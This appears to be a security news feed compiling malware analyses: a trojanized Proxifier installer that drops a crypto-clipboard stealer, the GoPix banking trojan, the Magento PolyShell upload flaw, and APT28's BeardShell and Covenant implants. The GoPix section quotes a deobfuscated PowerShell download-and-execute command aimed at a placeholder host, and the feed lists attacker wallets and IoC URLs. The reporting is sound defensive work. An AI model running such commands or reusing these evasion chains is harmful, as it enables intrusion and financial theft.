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BlueNoroff hackers used fake Zoom calls, ClickFix prompts, and fileless PowerShell malware to steal credentials from Web3 and crypto targets.

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Fake Antigravity downloads are enabling fast account takeovers using hidden malware and stolen session cookies.

The post Fake Google Antigravity Installer Can Steal Accounts in Minutes appeared first on TechRepublic.

Overview ahnLab monitored APT attacks against domestic targets during the month of March 2026. most of the attacks were launched through Spear Phishing emails sent after reconnaissance of specific targets. APT Attack Trends in Korea the majority of distribution vectors were shortcut (.lnk) files, with LNK-based attacks dominating. Type A is to run PowerShell with […]

Description. analysis of ASEC’s ASD logs for Q1 2026 showed a consistent trend of attacks against MS-SQL and MySQL. the number of attacks tended to decrease temporarily in February before increasing again in March. Purpose and Scope. this report summarizes the statistics of attacks targeting MS-SQL and MySQL servers installed on Windows and the malware […]

Description. AhnLab SEcurity intelligence Center (ASEC) analyzed the attack status and malware statistics of Windows web servers in the first quarter of 2026 based on AhnLab Smart Defense (ASD) logs. the analysis covers Internet Information Services (IIS) and Apache Tomcat web servers in Windows environments. command execution through the web shell is the main path […]

At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web search for “Proxifier”. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy servers. They are a go-to for making sure these apps are functional within secured development environments.

By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.

If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. That’s exactly where the source of the primary infection lives.

The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section, you’ll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.

Once launched, the Trojan’s first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.

First, it creates a tiny stub file – only about 1.5 KB in size – in the temp directory under the name “Proxifier<???>.tmp” and runs it. This stub doesn’t actually do anything on its own; it serves as a donor process. Later, a .NET application named “api_updater.exe” is injected into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the interpreter.

As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe. This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally named “bin.exe”, which runs a PowerShell script using the same method as before.

The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:

• Add the “powershell” and “conhost” processes to Microsoft Defender exclusions.
• Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.
• Set up a scheduled task to launch PowerShell with another script as an argument. The script’s task is to read the content of the created registry key, decode it, and transfer control to the resulting script.
• Ping an IP Logger service at https[:]//maper[.]info/2X5tF5 to let the attackers know the infection was successful.

This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques. By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.

The next stage is launched along with the task created in the scheduler. This is what it looks like:

The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the content located there is encoded in several different ways at once.

The script from Pastebin continues the download chain. This time, the payload is located on GitHub.

It’s a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.

The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and there’s nothing particularly fancy about it. It’s written in C++, compiled with MinGW, doesn’t bother with system persistence, and doesn’t even connect to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX, Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap them with the attackers’ own addresses.

Here is the full list of replacement addresses:

addr1qxenj0dwefgmp9z4t4dgek3yh3d8cfzcl6u97x2ln8c4nljjv7xdw2u0jhfdy90arm0xr0das4kznrh8qj33dzu8z5fqdtusyt
QSAROFQNKPXKKDNK67N5MQY5IQ4MTKGLI65KREVHKW53R2M6WHORP3ME2E
0x97c16182d2e91a9370d5590b670f6b8dc755680552e40218a2b28ec7ad105071
qrherxuw7fupud48l9xwvdcg7w64g8g7xvls9vgqyq
bc1q88r38gk8ynrhdfur7yefwf5hrn2y56s90vlrvq
36vf1gvZSxHkRRhAFiH6fotVWYEwH3tk22
14U9sBVDRyEfPgR8h9QJatwtrodey4NeH4
bc1phfm9d0fpqtgr9hkrxx5ww9k2qzww59q5czga95rtmk6vh5h8devsa72fxk
btg1qqfrsueknwmg92xrpch22wru0g4ka4p2vum3pdj
AcRjmRuDswUeQHtxJnzAn496r9Lo8XQjUK
GW9DJpw4mBJnVUWucX3szdH5bXZ9pqzLRF
bnb18nqx60dx6dhhsdyddcl0653392w0v4yhx07knl
cosmos10zqq0frph0rs36wwjg4r2r5626m6a2dgv3h6nv
DskZFNcs5MKg9EdvhAnu87YGzWwVoBvd2tZ
Xj3KofSCPq97odR8hiFjfeZs2FqbwUbstk
DJYXgJuBrc7cuGn4sgJXz1sdArKURkoWS9
erd14n38wkxm9epjh0s2y8078yqqzy4ztq9ckczy883dwcfgd54peaqs3tp2k2
a2dB176hgduQopnJPrEGjfojRWSHwTS62Q
f1qxoyqf3va2mwfbgzah3t7pqe7x5fmdev5dqc25a
inj1qw709q8utgjhxrs2cqczhmz2w254dedllzmlef
ltc1q4calyk5x5g36ckpsrcr6ndtxdlc0ea9qs4h44n
MCB8j9kXkX3f3BoXaBcsDc9RFoki9Kb3AR
LhMGEmEGwxcGhCEQ7QmbC1hywRbHbbv6p8
14FBxuV8HEuuWPFoFHbbG4Hm4pa7CqroQiGDeWvZdGiiJm8W
osmo10zqq0frph0rs36wwjg4r2r5626m6a2dgy2y297
7ATuKGME8AG9Tz5Qe4eRf1EAwqJNUvYXMiCGmtSbaJXR
thor12x0nqpjz2djpuaxm2j2z963sawdcze3nhxacyu
EQA28DFYnisowE0e49Sp2DUv6RKQWOJGbvegKWRPXE83bMnQ
nano_1j9mjyi4q8qytb1r7yyqntzkyay5xo1wznnwmy9a3p9r371zb3d6wr6xs8y5
QXwbqRnmxgmMZQk5WEvMYEBVzf1MP4eMY9
3P7zSKMhfMPr5kd85xtHNmCx2gi9apCgnSP
TNkGLYwtjcSk2A9U8cxJzttGeGEgz56hSP
GB4XWREV3WOXWIWFE3DVX3FUNUXLOC7EEGXHZXRUKI5AMZAG3SV7EV4P
46QtL5btfnq85iGrPDFabp4mxGhRbEZJaH67i5LhQsWhCnuiURKVU74QbMpf4TcZqgDnENMWaqhpt82vQSEdyBf4Tp1v8Y9
rKwSuwgNNWn8P8x1ckUopKkErnPW3tVrz9
tz1cPNzMxTsLzV1Gca2VowGgjRm7MkRzGLw5
t1Nwwai9UsQxcgJVVbssnmfjfznhbq2v8ud
ZEPHYR2tzMbbkY7CCsShtADqstJLEeZfEiDHQeRchSg8FoqAn2XzsDD8eEEx5cweBQb4jX12DhfPz36c6TD6uV9fPrcFMqwzTn93Y

The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:

Victims

Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the infection than to face consequences of a successful attack.

Conclusion

This campaign is yet another perfect example of the old adage: “buy cheap, pay twice”. Trying to save a buck on software, combined with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds – in this case, cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.

To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected. Download software only from official sources. If for some reason you can’t use a reputable paid solution, we highly recommend thoroughly vetting the sites you use to download software.

Indicators of compromise

URLs
https[:]//pastebin[.]com/raw/FmpsDAtQ
https[:]//snippet[.]host/aaxniv/raw
https[:]//chiaselinks[.]com/raw/nkkywvmhux
https[:]//rlim[.]com/55Dfq32kaR/raw
https[:]//paste.kealper[.]com/raw/k3K5aPJQ
https[:]//git.parat[.]swiss/rogers7/dev-api/raw/master/cpzn
https[:]//pinhole[.]rootcode[.]ru/rogers7/dev-api/raw/master/cpzn
https[:]//github[.]com/lukecodix/Proxifier/releases/download/4.12/Proxifier.zip
https[:]//gist.github[.]com/msfcon5ol3/107484d66423cb601f418344cd648f12/raw/d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7/upxz

Hashes
34a0f70ab100c47caaba7a5c85448e3d
7528bf597fd7764fcb7ec06512e073e0
8354223cd6198b05904337b5dff7772b

Unit 42 uncovers escalating Kubernetes attacks, detailing how threat actors exploit identities and critical vulnerabilities to compromise cloud environments.

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Researchers from FortiGuard Labs have uncovered a high-severity spying campaign targeting South Korean companies. Discover how North Korean…

Unit 42 discusses the supply chain attack targeting Axios. Learn about the full attack chain, from the dropper to forensic cleanup.

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A new variant of the ClickFix attack technique that shifts execution away from commonly monitored tools like PowerShell and mshta, instead abusing native Windows components such as rundll32.exe and WebDAV. This evolution allows attackers to bypass traditional script-based detection mechanisms, increasing the likelihood of a successful, stealthy compromise. The attack begins similarly to earlier ClickFix […]

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Sansec found a Magento and Adobe Commerce REST API flaw, named PolyShell, which allows unauthenticated file uploads and possible XSS in older versions.

Sansec disclosed a critical flaw in the Magento and Adobe Commerce REST API that allows attackers to upload executable files without authentication. The issue affects versions up to 2.4.9-alpha2 and could also enable XSS in releases prior to 2.3.5, exposing many online stores to compromise.

“A new vulnerability in the Magento and Adobe Commerce REST API allows attackers to upload executable files to any store. Adobe fixed the issue in a pre-release version but has not backported the patch.” reads the advisory by Sansec. “Many stores run web server configurations that enable either remote code execution (RCE) or account takeover (stored XSS).”

The name “PolyShell” stems from the use of a polyglot (code disguised as an image).

Magento’s REST API allows file uploads via cart item options by processing base64-encoded data and saving it to a server directory. This affects REST only, as GraphQL uses a different, non-vulnerable path.

“Magento’s REST API accepts file uploads as part of the cart item custom options. When a product option has type “file”, Magento processes an embedded file_info object containing base64-encoded file data, a MIME type, and a filename. The file is written to pub/media/custom_options/quote/ on the server.” continues the report. “GraphQL mutations use a different code path and are not vulnerable.”

The vulnerability has existed since Magento 2’s first release and was only addressed in the 2.4.9 pre-release (APSB25-94), with no standalone patch for current production versions. While Adobe suggests configurations to reduce risk, many stores use custom setups that leave upload directories exposed.

“The vulnerable code has existed since the very first Magento 2 release. Adobe fixed it in the 2.4.9 pre-release branch as part of APSB25-94, but no isolated patch exists for current production versions.” continues the report. “While Adobe provides a sample web server configuration that would largely limit the fallout, the majority of stores use a custom configuration from their hosting provider.”

Even if execution is blocked, malicious files remain on disk and could become active after future configuration changes or migrations.

Sansec pointed out that no official patch is available yet for production Magento versions, so mitigation is key. Organizations should block attacks in real time with a WAF, restrict access to upload directories via proper server configuration, and scan systems for compromise. Note that blocking access alone doesn’t stop malicious uploads, making active protection essential.

Sansec has not seen active exploitation yet, but the exploit is already circulating, and automated attacks are likely to emerge soon.

Magento-powered e-stores are a prime target for hackers. This week, cybersecurity firm Netcraft reported that, since February 27, a large-scale campaign has defaced over 7,500 Magento sites, targeting e-commerce platforms, global brands, and government services. Attackers placed plaintext defacement files across more than 15,000 hostnames, directly compromising affected infrastructure.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, PolyShell)

Overview. ahnLab monitored APT attacks against domestic targets during the month of February 2026 through its infrastructure. this report summarizes the classification, statistics, and features of each type of domestic APT attacks identified during the period. APT Domestic Attack Trends. we found that most of the infiltrations were carried out through spear phishing emails. in […]

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
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https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

APT28 used BEARDSHELL and COVENANT malware to spy on Ukrainian military personnel, enabling long-term surveillance since April 2024.

The Russia-linked group APT28 (aka UAC-0001, aka Fancy Bear, Pawn Storm, Sofacy Group, Sednit, BlueDelta, and STRONTIUM) has used BEARDSHELL and COVENANT malware to conduct long-term surveillance of Ukrainian military personnel. According to ESET, the campaign began in April 2024 and relies on custom implants designed to maintain persistent access and collect sensitive information from targeted systems.

“Since April 2024, Sednit’s advanced development team has reemerged with a modern toolkit centered on two paired implants, BeardShell and Covenant, each using a different cloud provider for resilience.” reads the report published by ESET. “This dual‑implant approach enabled long‑term surveillance of Ukrainian military personnel. Interestingly, these current toolsets show a direct code lineage to the group’s 2010‑era implants.”

The APT28 group has been active since at least 2007 and it has targeted governments, militaries, and security organizations worldwide. The group was involved also in the string of attacks that targeted 2016 Presidential election.

The group operates out of military unity 26165 of the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).

BEARDSHELL and SLIMAGENT are two advanced malware tools written in C++. BEARDSHELL downloads, decrypts (using ChaCha20-Poly1305), and runs PowerShell scripts, sending results via the Icedrive API. It creates a unique folder on each infected machine based on system identifiers. SLIMAGENT captures screenshots using Windows APIs, encrypts them with AES and RSA, and stores them locally with timestamped filenames. Both tools are stealthy, use strong encryption, and exploit legitimate cloud services to avoid detection, highlighting modern APT tactics.

“SlimAgent includes several features that were absent from the 2018 samples, such as encryption of the collected logs. Nevertheless, it is remarkable that samples deployed six years apart exhibit such strong code similarities.” continues the report. “We therefore assess with high confidence that both the 2018 samples and the 2024 SlimAgent sample were built from the same codebase.”

In May 2025, ESET researchers reported unauthorized access to an email account in the Ukrainian government’s gov.ua domain. CERT-UA, in collaboration with the Cybersecurity Center of Military Unit A0334, responded to the incident.

Analysis shows that SLIMAGENT likely evolved from the XAgent keylogger long used by APT28. Researchers found strong code similarities, including identical keylogging logic and HTML-based logging with the same color scheme for captured data. Evidence suggests SLIMAGENT has been deployed as a standalone espionage tool since at least 2018. Despite XAgent’s well-known codebase, the group continues reusing and adapting it, alongside newer malware like BEARDSHELL, in recent espionage campaigns.

During forensic analysis, the researchers discovered malware linked to the COVENANT framework and the BEARDSHELL backdoor. The experts were not able to determine the initial infection vector.

ESET noted that BEARDSHELL uses a rare obfuscation method called opaque predicate, previously seen in XTunnel, a tool used by APT28 during the Democratic National Committee hack. This link strongly suggests BEARDSHELL belongs to the group’s toolkit. Another tool, COVENANT, has been heavily modified to support long-term espionage and uses cloud services like Filen for command-and-control communications.

The cybersecurity firm reports that developers behind APT28 have developed strong expertise in the Covenant framework, despite its official development ending in 2021. The group has successfully adapted and reused the tool for several years, particularly in espionage operations targeting Ukrainian organizations.

“we have shown that Sednit’s advanced development team is active once again, operating an arsenal centered on two implants – BeardShell and Covenant – deployed in tandem and each leveraging a different cloud provider.” concludes the report. “The sophistication of BeardShell and the extensive modifications made to Covenant demonstrate that Sednit’s developers remain fully capable of producing advanced custom implants. Furthermore, the shared code and techniques linking these tools to their 2010-era predecessors strongly suggest continuity within the development team.”

Recently, ClearSky researchers reported a phishing campaign linked to Russia that targets Ukrainian organizations using two new malware families, BadPaw and MeowMeow. The attack chain begins with a phishing email carrying a link to a ZIP archive. When opened, an HTA file displays a Ukrainian-language lure about border crossing appeals while secretly launching the infection chain.

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Pierluigi Paganini

(SecurityAffairs – hacking, Russia)